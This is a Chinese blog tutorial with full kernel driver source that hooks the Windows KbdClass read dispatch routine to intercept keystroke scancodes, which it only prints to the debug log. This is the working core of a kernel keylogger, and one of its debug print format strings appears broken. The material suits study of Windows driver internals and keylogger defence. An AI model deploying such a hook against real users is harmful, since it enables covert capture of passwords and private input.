hook键盘驱动中的分发函数实现键盘输入数据的拦截

    xiaoxiao2021-03-25  134

    我自己在看《寒江独钓》这本书的时候,书中除了给出了利用过滤的方式来拦截键盘数据之外,也提到了另外一种方法,就是hook键盘分发函数,将它替换成我们自己的,然后再自己的分发函数中获取这个数据的方式,但是书中并没有明确给出代码,我结合书中所说的一些知识加上网上找到的相关资料,自己编写了相关代码,并且试验成功了,现在给出详细的方法和代码。 用这种方式时首先根据ObReferenceObjectByName函数来根据对应的驱动名称获取驱动的驱动对象指针。该函数是一个未导出函数,在使用时只需要先声明即可,函数原型如下:

    NTSTATUS ObReferenceObjectByName( PUNICODE_STRING ObjectName, //对应对象的名称 ULONG Attributes, //相关属性,一般给OBJ_CASE_INSENSITIVE PACCESS_STATE AccessState, //描述信息的一个结构体指针,一般给NULL ACCESS_MASK DesiredAccess, //以何种权限打开,一般给0如果或者FILL_ALL_ACCESS给它所有权限 POBJECT_TYPE ObjectType, //该指针是什么类型的指针,如果是设备对象给IoDeviceObjectType如果是驱动对象则给IoDriverObjectType KPROCESSOR_MODE AccessMode, //一般给NULL PVOID ParseContext, //附加参数,一般给NULL PVOID *pObject //用来接收相关指针的输出参数 );

    IoDeviceObjectType或者IoDriverObjectType也是未导出的,在使用之前需要先申明他们,例如

    extern POBJECT_TYPE IoDriverObjectType; extern POBJECT_TYPE IoDeviceObjectType;

    然后将该驱动对象中原始的分发函数保存起来,以便在hook之后调用或者在驱动卸载时恢复 接下来hook相关函数,要截取键盘的数据,一般采用的是hook read函数 在read函数中设置IRP的完成例程,然后调用原始的分发函数,一定要注意调用原始的分发函数,否则自己很难实现类似的功能,一旦实现不了,那么Windows上的键盘功能将瘫痪。 在完成例程中解析穿回来的IRP就可得到对应键盘的信息。 下面是具体的实现代码

    #define KDB_DRIVER_NAME L"\\Driver\\KbdClass" //键盘驱动的名称为KbdClass NTSTATUS ObReferenceObjectByName( PUNICODE_STRING ObjectName, ULONG Attributes, PACCESS_STATE AccessState, ACCESS_MASK DesiredAccess, POBJECT_TYPE ObjectType, KPROCESSOR_MODE AccessMode, PVOID ParseContext, PVOID *pObject); extern POBJECT_TYPE IoDriverObjectType; PDRIVER_OBJECT g_pKdbDriverObj; //键盘的驱动对象,保存这个是为了在卸载时还原它的分发函数 PDRIVER_DISPATCH g_oldDispatch[IRP_MJ_MAXIMUM_FUNCTION+1]; int g_KeyCount = 0; //记录键盘IRP的数量,当键盘的请求没有被处理完成时不能卸载这个驱动 VOID DriverUnload(PDRIVER_OBJECT DriverObject) { LARGE_INTEGER WaitTime; int i = 0; DbgPrint("KBD HOOK: Entry DriverUnload\n"); //等待5s WaitTime = RtlConvertLongToLargeInteger(-5 * 1000000000 / 100); //如果IRP没有被处理完成,等待5s再检测是否处理完成 while(0 != g_KeyCount) { KeDelayExecutionThread(KernelMode, FALSE, &WaitTime); } for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) { //还原对应的分发函数 g_pKdbDriverObj->MajorFunction[i] = g_oldDispatch[i]; } } NTSTATUS c2cReadComplete( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { PUCHAR pBuffer; ULONG uLength; int i = 0; if(NT_SUCCESS(Irp->IoStatus.Status)) { pBuffer = (PUCHAR)(Irp->AssociatedIrp.SystemBuffer); uLength = Irp->IoStatus.Information; for(i = 0; i < uLength; i++) { //在完成函数中只是简单的输出了对应的16进制数 DbgPrint("cap2ctrl: Key x\r\n", pBuffer[i]); } } //每当一个IRP完成时,未完成的IRP数量都需要减一 g_KeyCount--; if(Irp->PendingReturned) { IoMarkIrpPending( Irp ); } return Irp->IoStatus.Status; } NTSTATUS c2cReadDispathc( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { PIO_STACK_LOCATION pIroStack; DbgPrint("Hook By Me!\n"); //每当进入这个分发函数时都需要将这个未完成IRP数量加一 g_KeyCount++; //设置完成函数 //在这只能用这种方式,我自己试过用IoSetCompletionRoutine ,它注册的完成函数没有被调用,我也不知道为什么 pIroStack = IoGetCurrentIrpStackLocation(Irp); pIroStack->Control = SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; pIroStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2cReadComplete; //调用原始的分发函数 return (g_oldDispatch[IRP_MJ_READ])(DeviceObject, Irp); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) { int i = 0; PDRIVER_OBJECT pKbdDriverObj; UNICODE_STRING uKbdDriverName; NTSTATUS status; UNREFERENCED_PARAMETER(pRegistryPath); DbgPrint("cap2ctrl: Entry DriverEntry\n"); RtlInitUnicodeString(&uKbdDriverName, KDB_DRIVER_NAME); status = ObReferenceObjectByName(&uKbdDriverName, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &g_pKdbDriverObj); if(!NT_SUCCESS(status)) { return status; } //保存原始的派遣函数 for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++) { g_oldDispatch[i] = g_pKdbDriverObj->MajorFunction[i]; } //HOOK读请求的派遣函数 g_pKdbDriverObj->MajorFunction[IRP_MJ_READ] = c2cReadDispathc; pDriverObject->DriverUnload = DriverUnload; //绑定设备 return STATUS_SUCCESS; }
    转载请注明原文地址: https://ju.6miu.com/read-6186.html

    最新回复(0)